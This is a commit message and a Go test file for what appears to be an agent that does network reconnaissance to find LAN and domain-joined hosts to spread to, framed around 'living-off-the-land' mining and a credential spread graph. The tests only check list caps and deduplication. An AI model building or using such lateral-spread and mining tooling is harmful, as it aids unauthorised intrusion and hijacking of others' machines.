Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/network_hints_test.go

@@ -0,0 +1,74 @@
+package deploy
+
+import (
+	"testing"
+)
+
+func TestMergeUniqueIPv4DedupesAndFilters(t *testing.T) {
+	got := mergeUniqueIPv4(
+		[]string{"192.168.1.10", "192.168.1.10", "not-an-ip"},
+		[]string{"192.168.1.11", "192.168.1.10"},
+	)
+	if len(got) != 2 {
+		t.Fatalf("want 2 hosts, got %d: %v", len(got), got)
+	}
+	if got[0] != "192.168.1.10" || got[1] != "192.168.1.11" {
+		t.Fatalf("unexpected order/content: %v", got)
+	}
+}
+
+func TestCapStrings(t *testing.T) {
+	in := []string{"a", "b", "c"}
+	got := capStrings(in, 2)
+	if len(got) != 2 || got[0] != "a" || got[1] != "b" {
+		t.Fatalf("got %v", got)
+	}
+	if in[2] != "c" {
+		t.Fatal("capStrings should copy, not mutate input unexpectedly")
+	}
+}
+
+func TestProbeDomainSRVEmptyDomain(t *testing.T) {
+	ldap, krb, joined := probeDomainSRV("")
+	if joined || len(ldap) > 0 || len(krb) > 0 {
+		t.Fatalf("empty domain should not look joined: ldap=%v krb=%v joined=%v", ldap, krb, joined)
+	}
+}
+
+func TestCollectNetworkHintsRespectsSpreadCap(t *testing.T) {
+	hints := CollectNetworkHints(3)
+	if len(hints.SpreadTargets) > 3 {
+		t.Fatalf("spread cap ignored: got %d targets", len(hints.SpreadTargets))
+	}
+	if hints.SpreadTargetCount != len(hints.SpreadTargets) {
+		t.Fatalf("count mismatch: count=%d len=%d", hints.SpreadTargetCount, len(hints.SpreadTargets))
+	}
+	if hints.GeneratedAt == "" {
+		t.Fatal("generated_at should be set")
+	}
+}
+
+func TestCollectNetworkHintsPreferGPOWhenDomainJoined(t *testing.T) {
+	hints := NetworkHints{DomainJoined: true}
+	if hints.DomainJoined {
+		hints.PreferJoinLane = "gpo"
+	}
+	if hints.PreferJoinLane != "gpo" {
+		t.Fatalf("got %q", hints.PreferJoinLane)
+	}
+}
+
+func TestCollectPassiveNetworkHintsAlias(t *testing.T) {
+	a := CollectNetworkHints(5)
+	b := CollectPassiveNetworkHints(5)
+	if a.SpreadTargetCount != b.SpreadTargetCount {
+		t.Fatal("export alias should match CollectNetworkHints")
+	}
+}
+
+func TestDiscoverLANSpreadTargetsUsesNeighborMerge(t *testing.T) {
+	targets := DiscoverLANSpreadTargets(128)
+	if len(targets) > 128 {
+		t.Fatalf("cap ignored: %d targets", len(targets))
+	}
+}